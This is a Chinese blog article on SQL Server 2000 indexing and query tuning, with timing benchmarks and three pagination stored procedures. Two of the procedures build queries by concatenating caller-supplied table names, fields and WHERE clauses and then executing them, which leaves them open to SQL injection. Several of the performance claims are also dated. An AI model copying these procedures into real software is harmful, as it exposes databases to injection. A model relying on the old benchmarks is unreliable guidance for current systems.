很多人认为只要把任何字段加进聚集索引，就能提高查询速度，也有人感到迷惑：如果把复合的聚集索引字段分开</p><p>查询，那么查询速度会减慢吗？带着这个问题，我们来看一下以下的查询速度（结果集都是25万条数据）：（日期列</p><p>fariqi首先排在复合聚集索引的起始列，用户名neibuyonghu排在后列）：</p><p>　　（1）select gid,fariqi,neibuyonghu,title from Tgongwen where fariqi&gt;''2004-5-5'' 　　查询速度：2513毫</p><p>秒</p><p>　　（2）select gid,fariqi,neibuyonghu,title from Tgongwen  <br />　　　　　　　　　　　　where fariqi&gt;''2004-5-5'' and neibuyonghu=''办公室''　　查询速度：2516毫秒</p><p>　　（3）select gid,fariqi,neibuyonghu,title from Tgongwen where neibuyonghu=''办公室''　　查询速度：</p><p>60280毫秒</p><p>　　从以上试验中，我们可以看到如果仅用聚集索引的起始列作为查询条件和同时用到复合聚集索引的全部列的查询速</p><p>度是几乎一样的，甚至比用上全部的复合索引列还要略快（在查询结果集数目一样的情况下）；而如果仅用复合聚集索</p><p>引的非起始列作为查询条件的话，这个索引是不起任何作用的。当然，语句1、2的查询速度一样是因为查询的条目数一</p><p>样，如果复合索引的所有列都用上，而且查询结果少的话，这样就会形成“索引覆盖”，因而性能可以达到最优。同时</p><p>，请记住：无论您是否经常使用聚合索引的其他列，但其前导列一定要是使用最频繁的列。</p><p>　四、其他书上没有的索引使用经验总结</p><p>　　1、用聚合索引比用不是聚合索引的主键速度快</p><p>　　下面是实例语句：（都是提取25万条数据）</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''　　使用时间：3326毫秒</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid&lt;=250000　　使用时间：4470毫秒</p><p>　　这里，用聚合索引比用不是聚合索引的主键速度快了近1/4。</p><p>　　2、用聚合索引比用一般的主键作order by时速度快，特别是在小数据量情况下</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by fariqi　　用时：12936</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen order by gid　　用时：18843</p><p>　　这里，用聚合索引比用一般的主键作order by时，速度快了3/10。事实上，如果数据量很小的话，用聚集索引作为</p><p>排序列要比使用非聚集索引速度快得明显的多；而数据量如果很大的话，如10万以上，则二者的速度差别不明显。</p><p>　　3、使用聚合索引内的时间段，搜索时间会按数据占整个数据表的百分比成比例减少，而无论聚合索引使用了多少个</p><p>：</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&gt;''2004-1-1''　　用时：6343毫秒（提</p><p>取100万条） </p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi&gt;''2004-6-6''　　用时：3170毫秒（提</p><p>取50万条）</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''　　用时：3326毫秒（和</p><p>上句的结果一模一样。如果采集的数量一样，那么用大于号和等于号是一样的）</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen  <br />　　　　　　　　　　　　where fariqi&gt;''2004-1-1'' and fariqi&lt;''2004-6-6''　　用时：3280毫秒</p><p>　　4、日期列不会因为有分秒的输入而减慢查询速度</p><p>　　下面的例子中，共有100万条数据，2004年1月1日以后的数据有50万条，但只有两个不同的日期，日期精确到日；之</p><p>前有数据50万条，有5000个不同的日期，日期精确到秒。</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen  <br />　　　　　　　　　　where fariqi&gt;''2004-1-1'' order by fariqi　　用时：6390毫秒</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen  <br />　　　　　　　　　　　　where fariqi&lt;''2004-1-1'' order by fariqi　　用时：6453毫秒</p><p>　　五、其他注意事项</p><p>　　“水可载舟，亦可覆舟”，索引也一样。索引有助于提高检索性能，但过多或不当的索引也会导致系统低效。因为</p><p>用户在表中每加进一个索引，数据库就要做更多的工作。过多的索引甚至会导致索引碎片。</p><p>　　所以说，我们要建立一个“适当”的索引体系，特别是对聚合索引的创建，更应精益求精，以使您的数据库能得到</p><p>高性能的发挥。</p><p>　　当然，在实践中，作为一个尽职的数据库管理员，您还要多测试一些方案，找出哪种方案效率最高、最为有效。</p><p>　　改善SQL语句</p><p>　　很多人不知道SQL语句在SQL SERVER中是如何执行的，他们担心自己所写的SQL语句会被SQL SERVER误解。比如：</p><p>select * from table1 where name=''zhangsan'' and tID &gt; 10000　　和执行:</p><p>select * from table1 where tID &gt; 10000 and name=''zhangsan''　　一些人不知道以上两条语句的执行效率是否一</p><p>样，因为如果简单的从语句先后上看，这两个语句的确是不一样，如果tID是一个聚合索引，那么后一句仅仅从表的</p><p>10000条以后的记录中查找就行了；而前一句则要先从全表中查找看有几个name=''zhangsan''的，而后再根据限制条件</p><p>条件tID&gt;10000来提出查询结果。</p><p>　　事实上，这样的担心是不必要的。SQL SERVER中有一个“查询分析优化器”，它可以计算出where子句中的搜索条件</p><p>并确定哪个索引能缩小表扫描的搜索空间，也就是说，它能实现自动优化。</p><p>　　虽然查询优化器可以根据where子句自动的进行查询优化，但大家仍然有必要了解一下“查询优化器”的工作原理，</p><p>如非这样，有时查询优化器就会不按照您的本意进行快速查询。</p><p>　　在查询分析阶段，查询优化器查看查询的每个阶段并决定限制需要扫描的数据量是否有用。如果一个阶段可以被用</p><p>作一个扫描参数（SARG），那么就称之为可优化的，并且可以利用索引快速获得所需数据。</p><p>　　SARG的定义：用于限制搜索的一个操作，因为它通常是指一个特定的匹配，一个值得范围内的匹配或者两个以上条</p><p>件的AND连接。形式如下：</p><p>列名 操作符 &lt;常数 或 变量&gt; </p><p>或 </p><p>&lt;常数 或 变量&gt; 操作符列名　　列名可以出现在操作符的一边，而常数或变量出现在操作符的另一边。如：</p><p>Name=’张三’ </p><p>价格&gt;5000 </p><p>5000&lt;价格 </p><p>Name=’张三’ and 价格&gt;5000　　如果一个表达式不能满足SARG的形式，那它就无法限制搜索的范围了，也就是SQL </p><p>SERVER必须对每一行都判断它是否满足WHERE子句中的所有条件。所以一个索引对于不满足SARG形式的表达式来说是无用</p><p>的。</p><p>　　介绍完SARG后，我们来总结一下使用SARG以及在实践中遇到的和某些资料上结论不同的经验：</p><p>　　1、Like语句是否属于SARG取决于所使用的通配符的类型</p><p>如：name like ‘张%’ ，这就属于SARG </p><p>而：name like ‘%张’ ,就不属于SARG。　　原因是通配符%在字符串的开通使得索引无法使用。</p><p>　　2、or 会引起全表扫描</p><p>　　Name=’张三’ and 价格&gt;5000 符号SARG，而：Name=’张三’ or 价格&gt;5000 则不符合SARG。使用or会引起全表扫</p><p>描。</p><p>　　3、非操作符、函数引起的不满足SARG形式的语句</p><p>　　不满足SARG形式的语句最典型的情况就是包括非操作符的语句，如：NOT、!=、&lt;&gt;、!&lt;、!&gt;、NOT EXISTS、NOT IN、</p><p>NOT LIKE等，另外还有函数。下面就是几个不满足SARG形式的例子：</p><p>ABS(价格)&lt;5000 </p><p>Name like ‘%三’ </p><p>有些表达式，如： </p><p>WHERE 价格*2&gt;5000 </p><p>SQL SERVER也会认为是SARG，SQL SERVER会将此式转化为： <br />WHERE 价格&gt;2500/2　　但我们不推荐这样使用，因为有时SQL SERVER不能保证这种转化与原始表达式是完全等价的。</p><p>　　4、IN 的作用相当与OR</p><p>　　语句：</p><p>Select * from table1 where tid in (2,3) </p><p>和 </p><p>Select * from table1 where tid=2 or tid=3　　是一样的，都会引起全表扫描，如果tid上有索引，其索引也会失效</p><p>。</p><p>　　5、尽量少用NOT</p><p>　　6、exists 和 in 的执行效率是一样的</p><p>　　很多资料上都显示说，exists要比in的执行效率要高，同时应尽可能的用not exists来代替not in。但事实上，我</p><p>试验了一下，发现二者无论是前面带不带not，二者之间的执行效率都是一样的。因为涉及子查询，我们试验这次用SQL </p><p>SERVER自带的pubs数据库。运行前我们可以把SQL SERVER的statistics I/O状态打开：</p><p>（1）select title,price from titles where title_id in (select title_id from sales where qty&gt;30)　　该句的</p><p>执行结果为：</p><p>表 ''sales''。扫描计数 18，逻辑读 56 次，物理读 0 次，预读 0 次。<br />表 ''titles''。扫描计数 1，逻辑读 2 次，物理读 0 次，预读 0 次。</p><p>（2）select title,price from titles  <br />　　　　　　　where exists (select * from sales  <br />　　　　　　　　where sales.title_id=titles.title_id and qty&gt;30)　　第二句的执行结果为：</p><p>表 ''sales''。扫描计数 18，逻辑读 56 次，物理读 0 次，预读 0 次。<br />表 ''titles''。扫描计数 1，逻辑读 2 次，物理读 0 次，预读 0 次。</p><p>　　我们从此可以看到用exists和用in的执行效率是一样的。</p><p>　　7、用函数charindex()和前面加通配符%的LIKE执行效率一样</p><p>　　前面，我们谈到，如果在LIKE前面加上通配符%，那么将会引起全表扫描，所以其执行效率是低下的。但有的资料介</p><p>绍说，用函数charindex()来代替LIKE速度会有大的提升，经我试验，发现这种说明也是错误的：<br />　</p><p>select gid,title,fariqi,reader from tgongwen  <br />　　　　　　　　　where charindex(''刑侦支队'',reader)&gt;0 and fariqi&gt;''2004-5-5''　　用时：7秒，另外：扫描</p><p>计数 4，逻辑读 7155 次，物理读 0 次，预读 0 次。</p><p>select gid,title,fariqi,reader from tgongwen  <br />　　　　　　　　　where reader like ''%'' + ''刑侦支队'' + ''%'' and fariqi&gt;''2004-5-5''　　用时：7秒，另</p><p>外：扫描计数 4，逻辑读 7155 次，物理读 0 次，预读 0 次。</p><p>　　8、union并不绝对比or的执行效率高</p><p>　　我们前面已经谈到了在where子句中使用or会引起全表扫描，一般的，我所见过的资料都是推荐这里用union来代替</p><p>or。事实证明，这种说法对于大部分都是适用的。</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen  <br />　　　　　　　　　　where fariqi=''2004-9-16'' or gid&gt;9990000　　用时：68秒。扫描计数 1，逻辑读 404008 次</p><p>，物理读 283 次，预读 392163 次。</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''  <br />union <br />select gid,fariqi,neibuyonghu,reader,title from Tgongwen where gid&gt;9990000　　用时：9秒。扫描计数 8，逻辑</p><p>读 67489 次，物理读 216 次，预读 7499 次。</p><p>　　看来，用union在通常情况下比用or的效率要高的多。</p><p>　　但经过试验，笔者发现如果or两边的查询列是一样的话，那么用union则反倒和用or的执行速度差很多，虽然这里</p><p>union扫描的是索引，而or扫描的是全表。<br />　</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen  <br />　　　　　　　　　　where fariqi=''2004-9-16'' or fariqi=''2004-2-5''　　用时：6423毫秒。扫描计数 2，逻辑</p><p>读 14726 次，物理读 1 次，预读 7176 次。</p><p>select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-9-16''  <br />union <br />select gid,fariqi,neibuyonghu,reader,title from Tgongwen where fariqi=''2004-2-5''　　用时：11640毫秒。扫</p><p>描计数 8，逻辑读 14806 次，物理读 108 次，预读 1144 次。</p><p>　　9、字段提取要按照“需多少、提多少”的原则，避免“select *”</p><p>　　我们来做一个试验：</p><p>select top 10000 gid,fariqi,reader,title from tgongwen order by gid desc　　用时：4673毫秒</p><p>select top 10000 gid,fariqi,title from tgongwen order by gid desc　　用时：1376毫秒</p><p>select top 10000 gid,fariqi from tgongwen order by gid desc　　用时：80毫秒</p><p>　　由此看来，我们每少提取一个字段，数据的提取速度就会有相应的提升。提升的速度还要看您舍弃的字段的大小来</p><p>判断。</p><p>　　10、count(*)不比count(字段)慢</p><p>　　某些资料上说：用*会统计所有列，显然要比一个世界的列名效率低。这种说法其实是没有根据的。我们来看：</p><p>select count(*) from Tgongwen　　用时：1500毫秒</p><p>select count(gid) from Tgongwen 　　用时：1483毫秒</p><p>select count(fariqi) from Tgongwen　　用时：3140毫秒</p><p>select count(title) from Tgongwen　　用时：52050毫秒</p><p>　　从以上可以看出，如果用count(*)和用count(主键)的速度是相当的，而count(*)却比其他任何除主键以外的字段汇</p><p>总速度要快，而且字段越长，汇总的速度就越慢。我想，如果用count(*)， SQL SERVER可能会自动查找最小字段来汇总</p><p>的。当然，如果您直接写count(主键)将会来的更直接些。</p><p>　　11、order by按聚集索引列排序效率最高</p><p>　　我们来看：（gid是主键，fariqi是聚合索引列）：</p><p>select top 10000 gid,fariqi,reader,title from tgongwen　　用时：196 毫秒。 扫描计数 1，逻辑读 289 次，物</p><p>理读 1 次，预读 1527 次。</p><p>select top 10000 gid,fariqi,reader,title from tgongwen order by gid asc　　用时：4720毫秒。 扫描计数 1，</p><p>逻辑读 41956 次，物理读 0 次，预读 1287 次。</p><p>select top 10000 gid,fariqi,reader,title from tgongwen order by gid desc　　用时：4736毫秒。 扫描计数 1，</p><p>逻辑读 55350 次，物理读 10 次，预读 775 次。</p><p>select top 10000 gid,fariqi,reader,title from tgongwen order by fariqi asc　　用时：173毫秒。 扫描计数 1</p><p>，逻辑读 290 次，物理读 0 次，预读 0 次。</p><p>select top 10000 gid,fariqi,reader,title from tgongwen order by fariqi desc　　用时：156毫秒。 扫描计数 1</p><p>，逻辑读 289 次，物理读 0 次，预读 0 次。</p><p>　　从以上我们可以看出，不排序的速度以及逻辑读次数都是和“order by 聚集索引列” 的速度是相当的，但这些都</p><p>比“order by 非聚集索引列”的查询速度是快得多的。</p><p>　　同时，按照某个字段进行排序的时候，无论是正序还是倒序，速度是基本相当的。</p><p>　　12、高效的TOP</p><p>　　事实上，在查询和提取超大容量的数据集时，影响数据库响应时间的最大因素不是数据查找，而是物理的I/0操作。</p><p>如：</p><p>select top 10 * from ( <br />select top 10000 gid,fariqi,title from tgongwen <br />where neibuyonghu=''办公室'' <br />order by gid desc) as a <br />order by gid asc　　这条语句，从理论上讲，整条语句的执行时间应该比子句的执行时间长，但事实相反。因为，子</p><p>句执行后返回的是10000条记录，而整条语句仅返回10条语句，所以影响数据库响应时间最大的因素是物理I/O操作。而</p><p>限制物理I/O操作此处的最有效方法之一就是使用TOP关键词了。TOP关键词是SQL SERVER中经过系统优化过的一个用来提</p><p>取前几条或前几个百分比数据的词。经笔者在实践中的应用，发现TOP确实很好用，效率也很高。但这个词在另外一个大</p><p>型数据库ORACLE中却没有，这不能说不是一个遗憾，虽然在ORACLE中可以用其他方法（如：rownumber）来解决。在以后</p><p>的关于“实现千万级数据的分页显示存储过程”的讨论中，我们就将用到TOP这个关键词。</p><p>　　到此为止，我们上面讨论了如何实现从大容量的数据库中快速地查询出您所需要的数据方法。当然，我们介绍的这</p><p>些方法都是“软”方法，在实践中，我们还要考虑各种“硬”因素，如：网络性能、服务器的性能、操作系统的性能，</p><p>甚至网卡、交换机等。<br />实现小数据量和海量数据的通用分页显示存储过程</p><p>　　建立一个 Web 应用，分页浏览功能必不可少。这个问题是数据库处理中十分常见的问题。经典的数据分页方法是</p><p>:ADO 纪录集分页法，也就是利用ADO自带的分页功能（利用游标）来实现分页。但这种分页方法仅适用于较小数据量的</p><p>情形，因为游标本身有缺点：游标是存放在内存中，很费内存。游标一建立，就将相关的记录锁住，直到取消游标。游</p><p>标提供了对特定集合中逐行扫描的手段，一般使用游标来逐行遍历数据，根据取出数据条件的不同进行不同的操作。而</p><p>对于多表和大表中定义的游标（大的数据集合）循环很容易使程序进入一个漫长的等待甚至死机。</p><p>　　更重要的是，对于非常大的数据模型而言，分页检索时，如果按照传统的每次都加载整个数据源的方法是非常浪费</p><p>资源的。现在流行的分页方法一般是检索页面大小的块区的数据，而非检索所有的数据，然后单步执行当前行。</p><p>　　最早较好地实现这种根据页面大小和页码来提取数据的方法大概就是“俄罗斯存储过程”。这个存储过程用了游标</p><p>，由于游标的局限性，所以这个方法并没有得到大家的普遍认可。</p><p>　　后来，网上有人改造了此存储过程，下面的存储过程就是结合我们的办公自动化实例写的分页存储过程：</p><p>CREATE procedure pagination1 <br />(@pagesize int, --页面大小，如每页存储20条记录 <br />@pageindex int --当前页码 <br />) <br />as </p><p>set nocount on </p><p>begin <br />declare @indextable table(id int identity(1,1),nid int) --定义表变量 <br />declare @PageLowerBound int --定义此页的底码 <br />declare @PageUpperBound int --定义此页的顶码 <br />set @PageLowerBound=(@pageindex-1)*@pagesize <br />set @PageUpperBound=@PageLowerBound+@pagesize <br />set rowcount @PageUpperBound <br />insert into @indextable(nid) select gid from TGongwen  <br />　　　　　　where fariqi &gt;dateadd(day,-365,getdate()) order by fariqi desc <br />select O.gid,O.mid,O.title,O.fadanwei,O.fariqi from TGongwen O,@indextable t  <br />           where O.gid=t.nid and t.id&gt;@PageLowerBound  <br />                        and t.id&lt;<a href="mailto:=@PageUpperBound">=@PageUpperBound</a> order by t.id <br />end </p><p>set nocount off　　以上存储过程运用了SQL SERVER的最新技术――表变量。应该说这个存储过程也是一个非常优秀的</p><p>分页存储过程。当然，在这个过程中，您也可以把其中的表变量写成临时表：CREATE TABLE #Temp。但很明显，在SQL </p><p>SERVER中，用临时表是没有用表变量快的。所以笔者刚开始使用这个存储过程时，感觉非常的不错，速度也比原来的ADO</p><p>的好。但后来，我又发现了比此方法更好的方法。<br />　　笔者曾在网上看到了一篇小短文《从数据表中取出第n条到第m条的记录的方法》，全文如下：</p><p>从publish 表中取出第 n 条到第 m 条的记录：  <br />SELECT TOP m-n+1 *  <br />FROM publish  <br />WHERE (id NOT IN  <br />　　　　(SELECT TOP n-1 id  <br />　　　　 FROM publish))  </p><p>id 为publish 表的关键字 　　我当时看到这篇文章的时候，真的是精神为之一振，觉得思路非常得好。等到后来，我</p><p>在作办公自动化系统（ASP.NET+ C#＋SQL SERVER）的时候，忽然想起了这篇文章，我想如果把这个语句改造一下，这就</p><p>可能是一个非常好的分页存储过程。于是我就满网上找这篇文章，没想到，文章还没找到，却找到了一篇根据此语句写</p><p>的一个分页存储过程，这个存储过程也是目前较为流行的一种分页存储过程，我很后悔没有争先把这段文字改造成存储</p><p>过程：</p><p>CREATE PROCEDURE pagination2 <br />( <br />@SQL nVARCHAR(4000), --不带排序语句的SQL语句 <br />@Page int, --页码 <br />@RecsPerPage int, --每页容纳的记录数 <br />@ID VARCHAR(255), --需要排序的不重复的ID号 <br />@Sort VARCHAR(255) --排序字段及规则 <br />) <br />AS </p><p>DECLARE @Str nVARCHAR(4000) </p><p>SET @Str=''SELECT TOP ''+CAST(@RecsPerPage AS VARCHAR(20))+'' * FROM  <br />(<a href="mailto:''+@SQL+''">''+@SQL+''</a>) T WHERE <a href="mailto:T.''+@ID+''NOT">T.''+@ID+''NOT</a> IN (SELECT TOP ''+CAST((@RecsPerPage*(@Page-1))  <br />AS VARCHAR(20))+'' <a href="mailto:''+@ID+''">''+@ID+''</a> FROM (<a href="mailto:''+@SQL+''">''+@SQL+''</a>) T9 ORDER BY <a href="mailto:''+@Sort+''">''+@Sort+''</a>) ORDER BY <a href="mailto:''+@Sort">''+@Sort</a></p><p>PRINT @Str </p><p>EXEC sp_ExecuteSql @Str <br />GO　　其实，以上语句可以简化为：</p><p>SELECT TOP 页大小 * <br />FROM Table1 WHERE (ID NOT IN (SELECT TOP 页大小*页数 id FROM 表 ORDER BY id)) <br />ORDER BY ID　　但这个存储过程有一个致命的缺点，就是它含有NOT IN字样。虽然我可以把它改造为：</p><p>SELECT TOP 页大小 * <br />FROM Table1 WHERE not exists <br />(select * from (select top (页大小*页数) * from table1 order by id) b where b.id=a.id ) <br />order by id　　即，用not exists来代替not in，但我们前面已经谈过了，二者的执行效率实际上是没有区别的。既便</p><p>如此，用TOP 结合NOT IN的这个方法还是比用游标要来得快一些。</p><p>　　虽然用not exists并不能挽救上个存储过程的效率，但使用SQL SERVER中的TOP关键字却是一个非常明智的选择。因</p><p>为分页优化的最终目的就是避免产生过大的记录集，而我们在前面也已经提到了TOP的优势，通过TOP 即可实现对数据量</p><p>的控制。</p><p>　　在分页算法中，影响我们查询速度的关键因素有两点：TOP和NOT IN。TOP可以提高我们的查询速度，而NOT IN会减</p><p>慢我们的查询速度，所以要提高我们整个分页算法的速度，就要彻底改造NOT IN，同其他方法来替代它。</p><p>　　我们知道，几乎任何字段，我们都可以通过max(字段)或min(字段)来提取某个字段中的最大或最小值，所以如果这</p><p>个字段不重复，那么就可以利用这些不重复的字段的max或min作为分水岭，使其成为分页算法中分开每页的参照物。在</p><p>这里，我们可以用操作符“&gt;”或“&lt;”号来完成这个使命，使查询语句符合SARG形式。如：</p><p>Select top 10 * from table1 where id&gt;200　　于是就有了如下分页方案：</p><p>select top 页大小 * <br />from table1  <br />where id&gt; <br />(select max (id) from  <br />(select top ((页码-1)*页大小) id from table1 order by id) as T <br />)  <br />order by id　　在选择即不重复值，又容易分辨大小的列时，我们通常会选择主键。下表列出了笔者用有着1000万数据</p><p>的办公自动化系统中的表，在以GID（GID是主键，但并不是聚集索引。）为排序列、提取gid,fariqi,title字段，分别</p><p>以第1、10、100、500、1000、1万、10万、25万、50万页为例，测试以上三种分页方案的执行速度：（单位：毫秒）</p><p>页码 方案1 方案2 方案3 <br />1 60 30 76 <br />10 46 16 63 <br />100 1076 720 130 <br />500 540 12943 83 <br />1000 17110 470 250 <br />10000 24796 4500 140 <br />100000 38326 42283 1553 <br />250000 28140 128720 2330 <br />500000 121686 127846 7168 </p><p><br />　　从上表中，我们可以看出，三种存储过程在执行100页以下的分页命令时，都是可以信任的，速度都很好。但第一种</p><p>方案在执行分页1000页以上后，速度就降了下来。第二种方案大约是在执行分页1万页以上后速度开始降了下来。而第三</p><p>种方案却始终没有大的降势，后劲仍然很足。<br />　　在确定了第三种分页方案后，我们可以据此写一个存储过程。大家知道SQL SERVER的存储过程是事先编译好的SQL语</p><p>句，它的执行效率要比通过WEB页面传来的SQL语句的执行效率要高。下面的存储过程不仅含有分页方案，还会根据页面</p><p>传来的参数来确定是否进行数据总数统计。</p><p>--获取指定页的数据：</p><p>CREATE PROCEDURE pagination3 <br />@tblName varchar(255), -- 表名 <br />@strGetFields varchar(1000) = ''*'', -- 需要返回的列  <br />@fldName varchar(255)='''', -- 排序的字段名 <br />@PageSize int = 10, -- 页尺寸 <br />@PageIndex int = 1, -- 页码 <br />@doCount bit = 0, -- 返回记录总数, 非 0 值则返回 <br />@OrderType bit = 0, -- 设置排序类型, 非 0 值则降序 <br />@strWhere varchar(1500) = '''' -- 查询条件 (注意: 不要加 where) <br />AS </p><p>declare @strSQL varchar(5000) -- 主语句 <br />declare @strTmp varchar(110) -- 临时变量 <br />declare @strOrder varchar(400) -- 排序类型 </p><p>if @doCount != 0 <br />begin <br />if @strWhere !='''' <br />set @strSQL = "select count(*) as Total from [" + @tblName + "] where "<a href="mailto:+@strWhere">+@strWhere</a><br />else <br />set @strSQL = "select count(*) as Total from [" + @tblName + "]" <br />end --以上代码的意思是如果@doCount传递过来的不是0，就执行总数统计。以下的所有代码都是@doCount为0的情况：</p><p>else <br />begin <br />if @OrderType != 0 <br />begin <br />set @strTmp = "&lt;(select min" <br />set @strOrder = " order by [" + @fldName +"] desc"--如果@OrderType不是0，就执行降序，这句很重要！</p><p>end <br />else <br />begin <br />set @strTmp = "&gt;(select max" <br />set @strOrder = " order by [" + @fldName +"] asc" <br />end </p><p>if @PageIndex = 1 <br />begin <br />if @strWhere != ''''  </p><p>set @strSQL = "select top " + str(@PageSize) +" "<a href="mailto:+@strGetFields">+@strGetFields</a>+ " <br />　　　　　　　　from [" + @tblName + "] where " + @strWhere + " " + @strOrder <br />else </p><p>set @strSQL = "select top " + str(@PageSize) +" "<a href="mailto:+@strGetFields">+@strGetFields</a>+ "  <br />　　　　　　　　from ["+ @tblName + "] "+ @strOrder--如果是第一页就执行以上代码，这样会加快执行速度</p><p>end <br />else <br />begin--以下代码赋予了@strSQL以真正执行的SQL代码<br />　</p><p>set @strSQL = "select top " + str(@PageSize) +" "<a href="mailto:+@strGetFields">+@strGetFields</a>+ " from [" <br />+ @tblName + "] where [" + @fldName + "]" + @strTmp + "(["+ @fldName + "])  <br />　　　　　　from (select top " + str((@PageIndex-1)*@PageSize) + " ["+ @fldName + "]  <br />　　　　　　from [" + @tblName + "]" + @strOrder + ") as tblTmp)"+ @strOrder </p><p>if @strWhere != '''' <br />set @strSQL = "select top " + str(@PageSize) +" "<a href="mailto:+@strGetFields">+@strGetFields</a>+ " from [" <br />+ @tblName + "] where [" + @fldName + "]" + @strTmp + "([" <br />+ @fldName + "]) from (select top " + str((@PageIndex-1)*@PageSize) + " [" <br />+ @fldName + "] from [" + @tblName + "] where " + @strWhere + " " <br />+ @strOrder + ") as tblTmp) and " + @strWhere + " " + @strOrder <br />end  </p><p>end  </p><p>exec (@strSQL) </p><p>GO <br />　　上面的这个存储过程是一个通用的存储过程，其注释已写在其中了。 在大数据量的情况下，特别是在查询最后几页</p><p>的时候，查询时间一般不会超过9秒；而用其他存储过程，在实践中就会导致超时，所以这个存储过程非常适用于大容量</p><p>数据库的查询。 笔者希望能够通过对以上存储过程的解析，能给大家带来一定的启示，并给工作带来一定的效率提升，</p><p>同时希望同行提出更优秀的实时数据分页算法。</p><p>聚集索引的重要性和如何选择聚集索引</p><p>　　至此我们讨论了实现小数据量和海量数据的通用分页显示存储过程。这是因为在将本存储过程应用于“办公自动化</p><p>”系统的实践中时，笔者发现这第三种存储过程在小数据量的情况下，有如下现象：</p><p>　　1、分页速度一般维持在1秒和3秒之间。</p><p>　　2、在查询最后一页时，速度一般为5秒至8秒，哪怕分页总数只有3页或30万页。</p><p>　　虽然在超大容量情况下，这个分页的实现过程是很快的，但在分前几页时，这个1－3秒的速度比起第一种甚至没有</p><p>经过优化的分页方法速度还要慢，借用户的话说就是“还没有ACCESS数据库速度快”，这个认识足以导致用户放弃使用</p><p>您开发的系统。</p><p>　　笔者就此分析了一下，原来产生这种现象的症结是如此的简单，但又如此的重要：排序的字段不是聚集索引！</p><p>　　本篇文章的题目是：“查询优化及分页算法方案”。笔者只所以把“查询优化”和“分页算法”这两个联系不是很</p><p>大的论题放在一起，就是因为二者都需要一个非常重要的东西――聚集索引。</p><p>　　在前面的讨论中我们已经提到了，聚集索引有两个最大的优势：</p><p>　　1、以最快的速度缩小查询范围。</p><p>　　2、以最快的速度进行字段排序。</p><p>　　第1条多用在查询优化时，而第2条多用在进行分页时的数据排序。</p><p>　　而聚集索引在每个表内又只能建立一个，这使得聚集索引显得更加的重要。聚集索引的挑选可以说是实现“查询优</p><p>化”和“高效分页”的最关键因素。<br />　　但要既使聚集索引列既符合查询列的需要，又符合排序列的需要，这通常是一个矛盾。笔者前面“索引”的讨论中</p><p>，将fariqi，即用户发文日期作为了聚集索引的起始列，日期的精确度为“日”。这种作法的优点，前面已经提到了，</p><p>在进行划时间段的快速查询中，比用ID主键列有很大的优势。<br />　　但在分页时，由于这个聚集索引列存在着重复记录，所以无法使用max或min来最为分页的参照物，进而无法实现更</p><p>为高效的排序。而如果将ID主键列作为聚集索引，那么聚集索引除了用以排序之外，没有任何用处，实际上是浪费了聚</p><p>集索引这个宝贵的资源。<br />　　为解决这个矛盾，笔者后来又添加了一个日期列，其默认值为getdate()。用户在写入记录时，这个列自动写入当时</p><p>的时间，时间精确到毫秒。即使这样，为了避免可能性很小的重合，还要在此列上创建UNIQUE约束。将此日期列作为聚</p><p>集索引列。<br />　　有了这个时间型聚集索引列之后，用户就既可以用这个列查找用户在插入数据时的某个时间段的查询，又可以作为</p><p>唯一列来实现max或min，成为分页算法的参照物。<br />　　经过这样的优化，笔者发现，无论是大数据量的情况下还是小数据量的情况下，分页速度一般都是几十毫秒，甚至0</p><p>毫秒。而用日期段缩小范围的查询速度比原来也没有任何迟钝。聚集索引是如此的重要和珍贵，所以笔者总结了一下，</p><p>一定要将聚集索引建立在：</p><p>1、您最频繁使用的、用以缩小查询范围的字段上；</p><p>2、您最频繁使用的、需要排序的字段上。</p><p>　　结束语</p><p>　　本篇文章汇集了笔者近段在使用数据库方面的心得，是在做“办公自动化”系统时实践经验的积累。希望这篇文章</p><p>不仅能够给大家的工作带来一定的帮助，也希望能让大家能够体会到分析问题的方法；最重要的是，希望这篇文章能够</p><p>抛砖引玉，掀起大家的学习和讨论的兴趣，以共同促进，共同为公安科技强警事业和金盾工程做出自己最大的努力。</p><p>　　最后需要说明的是，在试验中，我发现用户在进行大数据量查询的时候，对数据库速度影响最大的不是内存大小，</p><p>而是CPU。在我的P4 2.4机器上试验的时候，查看“资源管理器”，CPU经常出现持续到100%的现象，而内存用量却并没</p><p>有改变或者说没有大的改变。即使在我们的HP ML 350 G3服务器上试验时，CPU峰值也能达到90%，一般持续在70%左右。</p><p>　　本文的试验数据都是来自我们的HP ML 350服务器。服务器配置：双Inter Xeon 超线程 CPU 2.4G，内存1G，操作系</p><p>统Windows Server 2003 Enterprise Edition，数据库SQL Server 2000 SP3</p><img src ="http://www.blogjava.net/liaojiyong/aggbug/72497.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/liaojiyong/" target="_blank">liaojiyong</a> 2006-09-28 10:43 <a href="http://www.blogjava.net/liaojiyong/archive/2006/09/28/72497.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>索引 與性能--如何让你的SQL运行得更快(轉)</title><link>http://www.blogjava.net/liaojiyong/archive/2006/09/27/72359.html</link><dc:creator>liaojiyong</dc:creator><author>liaojiyong</author><pubDate>Wed, 27 Sep 2006 10:00:00 GMT</pubDate><guid>http://www.blogjava.net/liaojiyong/archive/2006/09/27/72359.html</guid><wfw:comment>http://www.blogjava.net/liaojiyong/comments/72359.html</wfw:comment><comments>http://www.blogjava.net/liaojiyong/archive/2006/09/27/72359.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/liaojiyong/comments/commentRss/72359.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/liaojiyong/services/trackbacks/72359.html</trackback:ping><description><![CDATA[如何让你的SQL运行得更快 [推荐！！！] <br 